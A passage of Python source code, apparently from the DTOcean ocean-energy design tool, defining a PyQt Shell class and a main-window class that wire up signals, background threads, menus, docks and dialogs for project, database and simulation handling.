self._core.blockSignals(False) self._project.blockSignals(False) self.taskFinished.emit() return class Shell(QtCore.QObject): # Signals project_activated = QtCore.pyqtSignal() project_title_change = QtCore.pyqtSignal(str) project_saved = QtCore.pyqtSignal() project_closed = QtCore.pyqtSignal() strategy_loaded = QtCore.pyqtSignal(object) modules_queued = QtCore.pyqtSignal() themes_queued = QtCore.pyqtSignal() update_pipeline = QtCore.pyqtSignal(object) update_scope = QtCore.pyqtSignal(str) reset_widgets = QtCore.pyqtSignal() update_run_action = QtCore.pyqtSignal() database_updated = QtCore.pyqtSignal(str) pipeline_active = QtCore.pyqtSignal() bathymetry_active = QtCore.pyqtSignal() filter_active = QtCore.pyqtSignal() dataflow_active = QtCore.pyqtSignal() module_executed = QtCore.pyqtSignal() themes_executed = QtCore.pyqtSignal() strategy_executed = QtCore.pyqtSignal() strategy_completed = QtCore.pyqtSignal() database_convert_active = QtCore.pyqtSignal() database_convert_complete = QtCore.pyqtSignal() def __init__(self, core): super(Shell, self).__init__() self.core = None self.project_menu = None self.module_menu = None self.theme_menu = None self.data_menu = None self.project = None self.project_path = None self.project_unsaved = True self.strategy = None self.queued_interfaces = {"modules": None, "themes": None} self._active_thread = None self._current_scope = None self.core = self._init_core(core) self.project_menu = self._init_project_menu() self.module_menu = self._init_module_menu() self.theme_menu = self._init_theme_menu() self.data_menu = self._init_data_menu() # Clean up after thread execution self.database_convert_complete.connect(self._clear_active_thread) self.dataflow_active.connect(self._clear_active_thread) self.module_executed.connect(self._finalize_core) self.themes_executed.connect(self._finalize_core) self.strategy_executed.connect(self._finalize_project) return def _init_core(self, core): # Relay status updated signal core.status_updated.connect(self._emit_update_pipeline) core.status_updated.connect( lambda: self.reset_widgets.emit()) # Relay pipeline reset signal core.pipeline_reset.connect( lambda: self.update_run_action.emit()) return core def _init_project_menu(self): return ProjectMenu() def _init_module_menu(self): return ModuleMenu() def _init_theme_menu(self): return ThemeMenu() def _init_data_menu(self): return DataMenu() def set_project_title(self, title): self.project.title = title self.project_title_change.emit(title) return def get_available_modules(self): available_modules = self.module_menu.get_available(self.core, self.project) return available_modules def get_active_modules(self): if self.queued_interfaces["modules"] is not None: active_modules = self.queued_interfaces["modules"] else: active_modules = self.module_menu.get_active(self.core, self.project) return active_modules def get_current_module(self): module_name = self.module_menu.get_current(self.core, self.project) return module_name def get_scheduled_modules(self): module_names = self.module_menu.get_scheduled(self.core, self.project) return module_names def get_completed_modules(self): module_names = self.module_menu.get_completed(self.core, self.project) return module_names def get_available_themes(self): available_themes = self.theme_menu.get_available(self.core, self.project) return available_themes def get_active_themes(self): if self.queued_interfaces["themes"] is not None: active_themes = self.queued_interfaces["themes"] else: active_themes = self.theme_menu.get_active(self.core, self.project) return active_themes def get_scheduled_themes(self): module_names = self.theme_menu.get_scheduled(self.core, self.project) return module_names @QtCore.pyqtSlot() def new_project(self, title="Untitled project"): self.project = self.project_menu.new_project(self.core, title) self.project_path = None # Update the active project self.project_activated.emit() # Relay active simulation change self.project.active_index_changed.connect(self._emit_update_pipeline) self.project.active_index_changed.connect( lambda: self.reset_widgets.emit()) self.project.active_index_changed.connect( lambda: self.update_run_action.emit()) self._current_scope = "global" # Update the scope widget self.update_scope.emit(self._current_scope) return @QtCore.pyqtSlot(str) def open_project(self, file_path): self._active_thread = ThreadOpen(self.core, file_path) self._active_thread.taskFinished.connect(self._finalize_open_project) self._active_thread.start() return # @QtCore.pyqtSlot(str) # def save_project(self, file_path=None): # """An example of profiling""" # import cProfile # cProfile.runctx("self.save_project_(file_path)", # globals(), # locals(), # "profile.stat") @QtCore.pyqtSlot(str) def save_project(self, file_path=None): if self._active_thread is not None: self._active_thread.wait() if file_path is None: save_path = self.project_path else: save_path = str(file_path) self._active_thread = ThreadSave(self.core, self.project, save_path, self._current_scope, self.strategy) self._active_thread.taskFinished.connect(self._finalize_save_project) self._active_thread.start() return @QtCore.pyqtSlot() def close_project(self): if self._active_thread is not None: self._active_thread.wait() self.project = None self.project_path = None self.strategy = None self.project_closed.emit() self.project_title_change.emit("") self.database_updated.emit("None") self.update_pipeline.disconnect() return @QtCore.pyqtSlot(str, str) def set_simulation_title(self, old_title, new_title): if self._active_thread is not None: self._active_thread.wait() if old_title == new_title: return msg = "Changing title of simulation {} to {}".format(old_title, new_title) module_logger.debug(msg) current_sim_titles = self.project.get_simulation_titles() if new_title in current_sim_titles: logMsg = ("Simulation title '{}' is already in list of current " "titles").format(new_title) module_logger.error(logMsg) # Reset the list in the simulation dock self.project.sims_updated.emit() # Simulation dock needs informed which is active after item reset active_sim_title = self.project.get_simulation_title() self.project.active_title_changed.emit(active_sim_title) else: self.project.set_simulation_title(new_title, title=old_title) return @QtCore.pyqtSlot(str) def set_active_simulation(self, title): if self._active_thread is not None: self._active_thread.wait() msg = "Setting simulation '{}' as active".format(title) module_logger.debug(msg) self.project.set_active_index(title=title) return @QtCore.pyqtSlot(str, dict) def select_database(self, identifier, credentials): if identifier is None: identifier = "Unnamed" self.data_menu.select_database(self.project, credentials=credentials) self.database_updated.emit(identifier) return @QtCore.pyqtSlot() def deselect_database(self): self.data_menu.deselect_database(self.project) self.database_updated.emit("None") return @QtCore.pyqtSlot(str, str, dict) def dump_database(self, root_path, selected, credentials): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadDump(credentials, root_path, selected) self._active_thread.start() self.database_convert_active.emit() self._active_thread.taskFinished.connect( lambda: self.database_convert_complete.emit()) return @QtCore.pyqtSlot(str, str, dict) def load_database(self, root_path, selected, credentials): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadLoad(credentials, root_path, selected) self._active_thread.start() self.database_convert_active.emit() self._active_thread.taskFinished.connect( lambda: self.database_convert_complete.emit()) return @QtCore.pyqtSlot() def initiate_pipeline(self): self.project_menu.initiate_pipeline(self.core, self.project) sites_available = self.core.has_data(self.project, "hidden.available_sites") systems_available = self.core.has_data(self.project, "hidden.available_systems") if sites_available or systems_available: self.project_menu.initiate_options(self.core, self.project) if sites_available: self.filter_active.emit() self.pipeline_active.emit() return @QtCore.pyqtSlot() def initiate_bathymetry(self): self.project_menu.initiate_bathymetry(self.core, self.project) self.bathymetry_active.emit() return @QtCore.pyqtSlot(list) def queue_module_list(self, module_list): all_mods = self.module_menu.get_available(self.core, self.project) ordered_mods = [x for x in all_mods if x in module_list] self.queued_interfaces["modules"] = ordered_mods self.modules_queued.emit() return @QtCore.pyqtSlot(list) def queue_theme_list(self, theme_list): all_themes = self.theme_menu.get_available(self.core, self.project) ordered_themes = [x for x in all_themes if x in theme_list] self.queued_interfaces["themes"] = ordered_themes self.themes_queued.emit() return def activate_module_queue(self): if self.queued_interfaces["modules"] is None: return active_mods = self.module_menu.get_active(self.core, self.project) for module_name in self.queued_interfaces["modules"]: if module_name not in active_mods: self.module_menu.activate(self.core, self.project, module_name) self.queued_interfaces["modules"] = None return def activate_theme_queue(self): if self.queued_interfaces["themes"] is None: return active_themes = self.theme_menu.get_active(self.core, self.project) for theme_name in self.queued_interfaces["themes"]: if theme_name not in active_themes: self.theme_menu.activate(self.core, self.project, theme_name) self.queued_interfaces["themes"] = None return @QtCore.pyqtSlot(object) def select_strategy(self, strategy): if self._active_thread is not None: self._active_thread.wait() if strategy is None: logMsg = "Null strategy detected" else: logMsg = "Strategy {} detected".format(strategy.get_name()) module_logger.debug(logMsg) self.strategy = strategy simulation = self.project.get_simulation() if strategy is None: simulation.set_unavailable_variables(None) else: self.strategy.strategy_run = True force_unavailable = self.strategy.get_variables() simulation.set_unavailable_variables(force_unavailable) self.core.set_interface_status(self.project) self.update_run_action.emit() return @QtCore.pyqtSlot(object) def initiate_dataflow(self, pipeline): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadDataFlow(pipeline, self) self._active_thread.taskFinished.connect( lambda: self.dataflow_active.emit()) self._active_thread.start() return @QtCore.pyqtSlot(str, bool) def export_data(self, file_path, mask_outputs=False): self.data_menu.export_data(self.core, self.project, str(file_path), bool(mask_outputs)) return @QtCore.pyqtSlot(str, bool) def import_data(self, file_path, skip_satisfied=False): if self._active_thread is not None: self._active_thread.wait() self.data_menu.import_data(self.core, self.project, str(file_path), bool(skip_satisfied)) return @QtCore.pyqtSlot(object, str, str) def read_file(self, variable, interface_name, file_path): if self._active_thread is not None: self._active_thread.wait() variable.read_file(self.core, self.project, str(file_path), str(interface_name)) return @QtCore.pyqtSlot(object, str, str) def write_file(self, variable, interface_name, file_path): variable.write_file(self.core, self.project, str(file_path), str(interface_name)) return def read_raw(self, variable, value): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadReadRaw(self, variable, value) self._active_thread.taskFinished.connect(self._clear_active_thread) self._active_thread.start() return def read_test_data(self, control, path, overwrite): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadReadTest(self, control, path, overwrite) self._active_thread.taskFinished.connect(self._clear_active_thread) self._active_thread.start() return @QtCore.pyqtSlot() def execute_current(self): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadCurrent(self.core, self.project) self._active_thread.taskFinished.connect( lambda: self.module_executed.emit()) self._active_thread.start() return @QtCore.pyqtSlot() def execute_themes(self): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadThemes(self.core, self.project) self._active_thread.taskFinished.connect( lambda: self.themes_executed.emit()) self._active_thread.start() return @QtCore.pyqtSlot() def execute_strategy(self): if self.strategy is None: return if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadStrategy(self.core, self.project, self.strategy) self._active_thread.taskFinished.connect( lambda: self.strategy_executed.emit()) self._active_thread.start() return @QtCore.pyqtSlot(str) def set_output_scope(self, scope): if self._active_thread is not None: self._active_thread.wait() self._active_thread = ThreadScope(self.core, self.project, scope) self._active_thread.taskFinished.connect( lambda: self._finalize_scope(scope)) self._active_thread.start() return @QtCore.pyqtSlot() def _finalize_open_project(self): self.project = self._active_thread._project self.project_path = self._active_thread._project_path self.strategy = self._active_thread._strategy self._current_scope = self._active_thread._current_scope self.project_title_change.emit(self.project.title) # Relay active simulation change self.project.active_index_changed.connect(self._emit_update_pipeline) self.project.active_index_changed.connect( lambda: self.reset_widgets.emit()) self.project.active_index_changed.connect( lambda: self.update_run_action.emit()) # Relay strategy change if self.strategy is not None: self.strategy_loaded.emit(self.strategy) # Update the scope widget self.update_scope.emit(self._current_scope) # Release the active thread self._clear_active_thread() return @QtCore.pyqtSlot() def _finalize_save_project(self): self.project_path = self._active_thread._save_path self.project_saved.emit() # Release the active thread self._clear_active_thread() return @QtCore.pyqtSlot() def _finalize_project(self): # Emit signals on project self.project.sims_updated.emit() self.project.active_index_changed.emit() active_sim_title = self.project.get_simulation_title() if active_sim_title is not None: self.project.active_title_changed.emit(active_sim_title) # Assertain if the strategy can be released self.strategy.strategy_run = self.strategy.allow_rerun # If the strategy is no longer active release the hidden variables if not self.strategy.strategy_run: [sim.set_unavailable_variables() for sim in self.project._simulations] self.strategy_completed.emit() # Emit signals on core self._finalize_core() return @QtCore.pyqtSlot(str) def _finalize_scope(self, scope): # Record the scope self._current_scope = scope # Emit signals on core self._finalize_core() return @QtCore.pyqtSlot() def _finalize_core(self): # Update the interface status self.core.set_interface_status(self.project) # Release the active thread self._clear_active_thread() return @QtCore.pyqtSlot() def _clear_active_thread(self): if self._active_thread is None: return self._active_thread.wait() self._active_thread = None return @QtCore.pyqtSlot(object) def _emit_update_pipeline(self): Husk = namedtuple('Husk', ['core', 'project']) husk = Husk(self.core, self.project) self.update_pipeline.emit(husk) return class DTOceanWindow(MainWindow): def __init__(self, shell, debug=False): super(DTOceanWindow, self).__init__() # Create a windows mutex self._mutexname = "mutex_{AEF365BF-44B8-41E8-9906-4D1BADEE42E0}" self._mutex = CreateMutex(None, False, self._mutexname) # Context Area self._data_context = None self._plot_context = None self._comp_context = None # Details widgets self._data_details = None self._plot_details = None # Dialogs self._project_properties = None self._data_check = None self._module_shuttle = None self._assessment_shuttle = None self._db_selector = None self._strategy_manager = None self._help = None self._progress = None self._about = None # Docks self._pipeline_dock = None self._simulation_dock = None self._system_dock = None # Widget re-use self._last_tree_controller = None self._last_data_controller = None self._last_data_controller_status = None self._last_plot_id = None self._last_plot_name = "auto" self._force_plot = False # Last used stack index self._last_stack_index = None # Threads self._thread_tool = None # Tools self._tool_manager = None # Redirect excepthook if not debug: sys.excepthook = self._display_error # Init Shell self._shell = self._init_shell(shell) # Init context areas self._init_context() # Init dialogs self._init_shuttles() self._init_dialogs() # Initiate docks self._init_pipeline_dock() self._init_simulation_dock() self._init_system_dock(debug) # Initiate menus self._init_file_menu() self._init_sim_menu() self._init_data_menu() self._init_view_menu(debug) self._init_tools_menu() self._init_help_menu() return def _init_shell(self, shell): shell.project_activated.connect(self._active_project_ui_switch) shell.project_closed.connect(self._closed_project_ui_switch) shell.reset_widgets.connect( lambda: self._set_context_widget(self._last_tree_controller, True)) shell.pipeline_active.connect(self._active_pipeline_ui_switch) shell.bathymetry_active.connect(self._active_bathymetry_ui_switch) shell.filter_active.connect(self._active_filter_ui_switch) shell.dataflow_active.connect(self._active_dataflow_ui_switch) shell.update_run_action.connect(self._run_action_ui_switch) shell.module_executed.connect(self._run_action_ui_switch) shell.themes_executed.connect(self._run_action_ui_switch) shell.strategy_executed.connect(self._run_action_ui_switch) shell.strategy_executed.connect( lambda: self.stackedWidget.setCurrentIndex(self._last_stack_index)) shell.update_scope.connect(self._current_scope_ui_switch) # Collect all saved and unsaved signals shell.project_title_change.connect(self._set_project_unsaved) shell.project_activated.connect(self._set_project_unsaved) shell.reset_widgets.connect(self._set_project_unsaved) shell.update_run_action.connect(self._set_project_unsaved) shell.project_saved.connect(self._set_project_saved) return shell def _init_context(self): # Blank context blank_widget = QtGui.QWidget(self) self.stackedWidget.addWidget(blank_widget) # Data context self._data_context = ContextArea(self) self.stackedWidget.addWidget(self._data_context) # Plot context self._plot_context = ContextArea(self) self.stackedWidget.addWidget(self._plot_context) # Comparison context self._comp_context = ContextArea(self) self._comp_context._top_left.setMaximumWidth(16777215) self._comp_context._top_right.setMinimumWidth(320) self.stackedWidget.addWidget(self._comp_context) # Collect the input widget parent self._shell.core.set_input_parent(self._data_context._bottom) return def _init_shuttles(self): # Set up the module shuttle widget self._module_shuttle = Shuttle(self, "Add Modules...") self._module_shuttle.list_updated.connect( self._shell.queue_module_list) # Set up the assessment shuttle widget self._assessment_shuttle = Shuttle(self, "Add Assessment...") self._assessment_shuttle.list_updated.connect( self._shell.queue_theme_list) return def _init_dialogs(self): # Set up project properties dialog self._project_properties = ProjProperties(self) self._project_properties.buttonBox.button( QtGui.QDialogButtonBox.Ok).clicked.connect( self._set_project_title) # Set up the database selection dialog self._db_selector = DBSelector(self, self._shell.data_menu) self._db_selector.database_selected.connect( self._shell.select_database) self._db_selector.database_deselected.connect( self._shell.deselect_database) self._db_selector.database_dump.connect(self._dump_database) self._db_selector.database_load.connect( self._load_database) self._shell.database_updated.connect( self._db_selector._update_current) self._shell.database_convert_active.connect( self._db_selector._convert_disabled) self._shell.database_convert_complete.connect( self._db_selector._convert_enabled) self._shell.database_convert_active.connect( lambda: self.actionInitiate_Pipeline.setDisabled(True)) self._shell.database_convert_complete.connect( lambda: self.actionInitiate_Pipeline.setEnabled(True)) # Set up the strategy manager self._strategy_manager = GUIStrategyManager(self) self._strategy_manager.strategy_selected.connect( self._shell.select_strategy) self._shell.strategy_loaded.connect( self._strategy_manager._load_strategy) self._shell.strategy_completed.connect( self._strategy_manager._complete_strategy) # Set up the data check diaglog self._data_check = DataCheck(self) self._data_check.setModal(True) # Set up progress bar self._progress = ProgressBar(self) self._progress.setModal(True) self._progress.force_quit.connect(self.close) # Set up the help dialog self._help = HelpWidget(self) # Set up the about dialog (actionAbout) self._about = About(self) self._about.setModal(True) return def _init_pipeline_dock(self): # Give the bottom left corner to left dock self.setCorner(QtCore.Qt.Corner(0x00002), QtCore.Qt.DockWidgetArea(1)) # Pipeline dock self._pipeline_dock = PipeLine(self) self._pipeline_dock._showclose_filter._show.connect( lambda: self.actionShow_Pipeline.setEnabled(False)) self._pipeline_dock._showclose_filter._close.connect( lambda: self.actionShow_Pipeline.setEnabled(True)) self.addDockWidget(QtCore.Qt.DockWidgetArea(1), self._pipeline_dock) # Set widgets on tree click self._pipeline_dock.treeView.clicked.connect( self._set_details_widget) self._pipeline_dock.treeView.clicked.connect( self._set_context_widget) # Change the output scope on button click self._pipeline_dock.globalRadioButton.clicked.connect( lambda: self._waitcursor_scope("global")) self._pipeline_dock.localRadioButton.clicked.connect( lambda: self._waitcursor_scope("local")) self._pipeline_dock.scopeFrame.setDisabled(True) # Variable filtering self._pipeline_dock.filterFrame.setDisabled(True) # Refresh on module and theme activation or execution self._shell.modules_queued.connect( lambda: self._pipeline_dock._refresh(self._shell)) self._shell.themes_queued.connect( lambda: self._pipeline_dock._refresh(self._shell)) self._shell.module_executed.connect( lambda: self._pipeline_dock._refresh(self._shell)) self._shell.themes_executed.connect( lambda: self._pipeline_dock._refresh(self._shell)) self._shell.strategy_executed.connect( lambda: self._pipeline_dock._refresh(self._shell)) # Repeat any filtering on widget update self._shell.reset_widgets.connect(self._pipeline_dock._repeat_filter) # Add context menu(s) self._pipeline_dock.treeView.customContextMenuRequested.connect( lambda x: self._pipeline_dock._make_menus(self._shell, x)) # Handle errors self._pipeline_dock.error_detected.connect(self._display_error) return def _init_simulation_dock(self): # Simulation dock self._simulation_dock = SimulationDock(self) self._simulation_dock._showclose_filter._show.connect( lambda: self.actionShow_Simulations.setEnabled(False)) self._simulation_dock._showclose_filter._close.connect( lambda: self.actionShow_Simulations.setEnabled(True)) self.addDockWidget(QtCore.Qt.DockWidgetArea(1), self._simulation_dock) self._simulation_dock.name_changed.connect( self._shell.set_simulation_title) self._simulation_dock.active_changed.connect( self._shell.set_active_simulation) # Add context menu(s) self._simulation_dock.listWidget.customContextMenuRequested.connect( lambda x: self._simulation_dock._make_menus(self._shell, x)) # Set disabled until dataflow activated. self._simulation_dock.setDisabled(True) # Tab docks self.setTabPosition(QtCore.Qt.DockWidgetArea(1), QtGui.QTabWidget.TabPosition(0)) self.tabifyDockWidget(self._simulation_dock, self._pipeline_dock) # Collect unsaved signals self._simulation_dock.name_changed.connect(self._set_project_unsaved) self._simulation_dock.active_changed.connect(self._set_project_unsaved) return def _init_system_dock(self, disable_log=False): if disable_log: return # System dock self._system_dock = LogDock(self) self._system_dock._showclose_filter._show.connect( lambda: self.actionSystem_Log.setEnabled(False)) self._system_dock._showclose_filter._close.connect( lambda: self.actionSystem_Log.setEnabled(True)) self.addDockWidget(QtCore.Qt.DockWidgetArea(8), self._system_dock) return def _init_file_menu(self): self.actionNew.triggered.connect(self._new_project) self.actionOpen.triggered.connect(self._open_project) self.actionSave.triggered.connect(self._save_project) self.actionSave_As.triggered.connect(self._saveas_project) self.actionProperties.triggered.connect( self._set_project_properties) self.actionClose.triggered.connect(self._close_project) self.actionExit.triggered.connect(self.close) return def _init_sim_menu(self): # Set up the simulation menu self.actionAdd_Modules.triggered.connect(self._set_module_shuttle) self.actionAdd_Assessment.triggered.connect( self._set_assessment_shuttle) self.actionAdd_Strategy.triggered.connect(self._set_strategy) self.actionRun_Current.triggered.connect(self._execute_current) self.actionRun_Themes.triggered.connect(self._execute_themes) self.actionRun_Strategy.triggered.connect(self._execute_strategy) return def _init_data_menu(self): # Database selection dialog self.actionSelect_Database.triggered.connect( self._set_database_properties) # Set up data preparation stages self.actionInitiate_Pipeline.triggered.connect(self._initiate_pipeline) self.actionInitiate_Bathymetry.triggered.connect( self._initiate_bathymetry) self.actionInitiate_Dataflow.triggered.connect(self._initiate_dataflow) # Data export / import functions self.actionExport.triggered.connect(self._export_data) self.actionExport_mask.triggered.connect(self._export_data_mask) self.actionImport.triggered.connect(self._import_data) self.actionImport_skip.triggered.connect(self._import_data_skip) return def _init_view_menu(self, disable_log=False): # Dock show buttons self.actionShow_Pipeline.triggered.connect(self._pipeline_dock.show) self.actionShow_Pipeline.triggered.connect( lambda: self.actionShow_Pipeline.setDisabled(True)) self.actionShow_Simulations.triggered.connect( self._simulation_dock.show) self.actionShow_Simulations.triggered.connect( lambda: self.actionShow_Simulations.setDisabled(True)) if not disable_log: self.actionSystem_Log.triggered.connect(self._system_dock.show) self.actionSystem_Log.triggered.connect( lambda: self.actionSystem_Log.setDisabled(True)) # Context Actions self.actionData.triggered.connect( lambda: self.stackedWidget.setCurrentIndex(1)) self.actionPlots.triggered.connect( lambda: self.stackedWidget.setCurrentIndex(2)) self.actionComparison.triggered.connect( lambda: self.stackedWidget.setCurrentIndex(3)) self.actionData.triggered.connect( lambda: self._set_context_widget(self._last_tree_controller)) self.actionPlots.triggered.connect( lambda: self._set_context_widget(self._last_tree_controller)) self.contextGroup = QtGui.QActionGroup(self) self.contextGroup.addAction(self.actionData) self.contextGroup.addAction(self.actionPlots) self.contextGroup.addAction(self.actionComparison) return def _init_tools_menu(self): """Dynamically generate tool menu entries and signal/slots""" self._tool_manager = GUIToolManager() all_tools = self._tool_manager.get_available() for tool_name in all_tools: new_action = self._add_dynamic_action(tool_name, "menuTools") new_action.triggered.connect( lambda x, name=tool_name: self._open_tool(name)) self._dynamic_actions[tool_name] = new_action return def _init_help_menu(self): self.actionHelp_Index.triggered.connect(self._help.show) self.actionAbout.triggered.connect(self._about.show) # Open the logs folder log_dir = get_log_dir() log_dir_path = log_dir.get_path() open_log_dir = lambda: os.startfile(log_dir_path) self.actionView_Logs.triggered.connect(open_log_dir) return @QtCore.pyqtSlot(str) def _set_window_title(self, title): if not title: title_str = "DTOcean" else: title_str = "DTOcean: {}".format(title) self.setWindowTitle(title_str) return @QtCore.pyqtSlot() def _set_project_properties(self): self._project_properties.lineEdit.setText(self._shell.project.title) self._project_properties.show() return @QtCore.pyqtSlot() def _set_project_title(self): new_title = self._project_properties.lineEdit.text() self._shell.set_project_title(new_title) return @QtCore.pyqtSlot() def _set_project_saved(self): if self._shell.project is None: return if self._shell.project_path is None: window_title = self._shell.project.title else: window_title = "{} ({})".format(self._shell.project.title, self._shell.project_path) self._set_window_title(window_title) self._shell.project_unsaved = False return @QtCore.pyqtSlot() def _set_project_unsaved(self): if self._shell.project is None: return if self._shell.project_path is None: window_title = "{}*".format(self._shell.project.title) else: window_title = "{} ({})*".format(self._shell.project.title, self._shell.project_path) self._set_window_title(window_title) self._shell.project_unsaved = True return @QtCore.pyqtSlot() def _set_database_properties(self): self._db_selector.show() return @QtCore.pyqtSlot() def _active_project_ui_switch(self): # Disable Actions self.actionNew.setDisabled(True) self.actionOpen.setDisabled(True) self.actionSave.setDisabled(True) self.actionSave_As.setDisabled(True) self.actionComparison.setDisabled(True) # Enable Actions self.actionProperties.setEnabled(True) self.actionClose.setEnabled(True) self.actionData.setEnabled(True) self.actionPlots.setEnabled(True) self.actionInitiate_Pipeline.setEnabled(True) self.actionSelect_Database.setEnabled(True) self.actionExport.setEnabled(True) self.actionExport_mask.setEnabled(True) self.actionImport.setEnabled(True) self.actionImport_skip.setEnabled(True) # Activate the pipeline start_branch_map = [{"hub": SectionControl, "name": "Configuration"}, {"hub": HubControl, "name": "Scenario", "args": ["project", InputBranchControl, True, ["System Type Selection", "Database Filtering Interface", "Project Boundaries Interface"]]} ] self._pipeline_dock._set_branch_map(start_branch_map) self._pipeline_dock._refresh(self._shell) self._pipeline_dock._set_title("Define scenario selections...") self._pipeline_dock.scopeFrame.setEnabled(True) self._pipeline_dock.filterFrame.setEnabled(True) # Link the project to the simulation dock and initialise the list self._simulation_dock.setDisabled(True) self._shell.project.sims_updated.connect( lambda: self._simulation_dock._update_simulations( self._shell.project)) self._simulation_dock._update_simulations(self._shell.project) # Set up details widget on the data context area self._data_details = DetailsWidget(self) self._data_context._top_left_box.addWidget(self._data_details) # Set up file manager widget on the data context area self._data_file_manager = FileManagerWidget(self) self._data_context._top_right_box.addWidget(self._data_file_manager) self._data_file_manager.setDisabled(True) # Set up details widget on the plot context area self._plot_details = DetailsWidget(self) self._plot_context._top_left_box.addWidget(self._plot_details) # Set up plot manager widget on the plot context area self._plot_manager = PlotManagerWidget(self) self._plot_context._top_right_box.addWidget(self._plot_manager) self._plot_manager.setDisabled(True) # Set up the level comparison in the comparison context area self._level_comparison = LevelComparison(self) self._comp_context._top_left_box.addWidget(self._level_comparison) # Set up the simulation comparison in the comparison context area self._sim_comparison = SimulationComparison(self) self._comp_context._top_right_box.addWidget(self._sim_comparison) # Set up level comparison signals self._level_comparison.varBox.currentIndexChanged.connect( self._sim_comparison_ui_switch) self._level_comparison.plot_levels.connect(self._set_level_plot) self._level_comparison.tab_levels.connect(self._set_level_table) self._level_comparison.save_plot.connect(self._save_comparison_plot) self._level_comparison.save_data.connect(self._save_comparison_data) # Set up simulation comparison signals self._sim_comparison.plot_levels.connect(self._set_sim_plot) self._sim_comparison.tab_levels.connect(self._set_sim_table) self._sim_comparison.save_plot.connect(self._save_comparison_plot) self._sim_comparison.save_data.connect(self._save_comparison_data) # Update the central widget self.stackedWidget.setCurrentIndex(1) self.actionData.setChecked(True) # Connect actions self._shell.update_pipeline.connect(self._tool_menu_ui_switch) self._shell.update_pipeline.connect(self._set_project_unsaved) # Trigger the pipeline self._pipeline_dock._set_top_item() # Trigger tools menu (not likely concurrent) self._tool_menu_ui_switch(self._shell) # Update the active sim title active_sim_title = self._shell.project.get_simulation_title() self._shell.project.active_title_changed.emit(active_sim_title) return @QtCore.pyqtSlot() def _closed_project_ui_switch(self): # Disable Actions self.actionSave.setDisabled(True) self.actionSave_As.setDisabled(True) self.actionProperties.setDisabled(True) self.actionClose.setDisabled(True) self.actionData.setDisabled(True) self.actionPlots.setDisabled(True) self.actionComparison.setDisabled(True) self.actionInitiate_Pipeline.setDisabled(True) self.actionSelect_Database.setDisabled(True) self.actionInitiate_Dataflow.setDisabled(True) self.actionInitiate_Bathymetry.setDisabled(True) self.actionAdd_Modules.setDisabled(True) self.actionAdd_Assessment.setDisabled(True) self.actionAdd_Strategy.setDisabled(True) self.actionRun_Current.setDisabled(True) self.actionRun_Themes.setDisabled(True) self.actionRun_Strategy.setDisabled(True) self.actionExport.setDisabled(True) self.actionExport_mask.setDisabled(True) self.actionImport.setDisabled(True) self.actionImport_skip.setDisabled(True) # Enable actions self.actionNew.setEnabled(True) self.actionOpen.setEnabled(True) # Close the strategy manager self._strategy_manager.close() # Clear the pipeline self._pipeline_dock._clear() self._pipeline_dock._clear_filter() self._pipeline_dock._set_title("Waiting...") self._pipeline_dock.scopeFrame.setDisabled(True) self._pipeline_dock.filterFrame.setDisabled(True) # Disable the simulation widget self._simulation_dock.setDisabled(True) self._simulation_dock._update_simulations(None) # Remove details widget from data context self._data_context._top_left_box.removeWidget(self._data_details) self._data_details.setParent(None) self._data_details.deleteLater() self._data_details = None # Remove file manager widget from data context self._data_context._top_right_box.removeWidget(self._data_file_manager) self._data_file_manager.setParent(None) self._data_file_manager.deleteLater() self._data_file_manager = None # Remove details widget from plot context self._plot_context._top_left_box.removeWidget(self._plot_details) self._plot_details.setParent(None) self._plot_details.deleteLater() self._plot_details = None # Remove plot manager widget from plot context self._plot_context._top_right_box.removeWidget(self._plot_manager) self._plot_manager.setParent(None) self._plot_manager.deleteLater() self._plot_manager = None # Remove level comparison widget from comparison context self._comp_context._top_left_box.removeWidget(self._level_comparison) self._level_comparison.setParent(None) self._level_comparison.deleteLater() self._level_comparison = None # Remove simulation comparison widget from comparison context self._plot_context._top_right_box.removeWidget(self._sim_comparison) self._sim_comparison.setParent(None) self._sim_comparison.deleteLater() self._sim_comparison = None # Remove main widget from comparison context if self._comp_context._bottom_contents is not None: self._clear_bottom_contents(self._comp_context) # Update the central widget self.stackedWidget.setCurrentIndex(0) self._last_tree_controller = None self._last_data_controller = None self._last_data_controller_status = None self._last_plot_id = None self._last_plot_name = "auto" # Trigger the tool menu switcher (not likely concurrent) self._tool_menu_ui_switch(self._shell) # Reset the window title self._set_window_title("") return @QtCore.pyqtSlot() def _active_filter_ui_switch(self): # Enable Actions self.actionInitiate_Bathymetry.setEnabled(True) return @QtCore.pyqtSlot() def _active_pipeline_ui_switch(self): # Close dialog self._db_selector.close() # Disable Actions self.actionInitiate_Pipeline.setDisabled(True) self.actionSelect_Database.setDisabled(True) # Enabale Actions self.actionAdd_Modules.setEnabled(True) self.actionAdd_Assessment.setEnabled(True) self.actionInitiate_Dataflow.setEnabled(True) # Update the pipeline fresh_branch_map = [{"hub": SectionControl, "name": "Configuration"}, {"hub": HubControl, "name": "Scenario", "args": ["project", InputBranchControl, True, ["System Type Selection", "Database Filtering Interface", "Project Boundaries Interface"]]}, {"hub": HubControl, "name": "Modules", "args": ["modules", InputBranchControl, False]}, {"hub": HubControl, "name": "Assessment", "args": ["themes", InputBranchControl, False]} ] self._pipeline_dock._set_branch_map(fresh_branch_map) self._pipeline_dock._refresh(self._shell) return @QtCore.pyqtSlot() def _active_bathymetry_ui_switch(self): # Disable Actions self.actionInitiate_Bathymetry.setDisabled(True) # Update the pipeline self._pipeline_dock._refresh(self._shell) return @QtCore.pyqtSlot() def _active_dataflow_ui_switch(self): self._pipeline_dock._refresh(self._shell) # Close dialogs self._module_shuttle.close() self._assessment_shuttle.close() # Enable the simulation widget self._simulation_dock.setEnabled(True) # Setup and enable comparison context self._level_comparison._set_interfaces(self._shell) self._sim_comparison._set_interfaces(self._shell, include_str=True) if self._shell.strategy is not None: self._level_comparison.strategyBox.setChecked(False) self._level_comparison.strategyBox.setEnabled(True) self._sim_comparison.strategyBox.setChecked(False) self._sim_comparison.strategyBox.setEnabled(True) self.actionComparison.setEnabled(True) # Enable Actions self.actionSave.setEnabled(True) self.actionSave_As.setEnabled(True) self.actionAdd_Strategy.setEnabled(True) self._run_action_ui_switch() # Disable 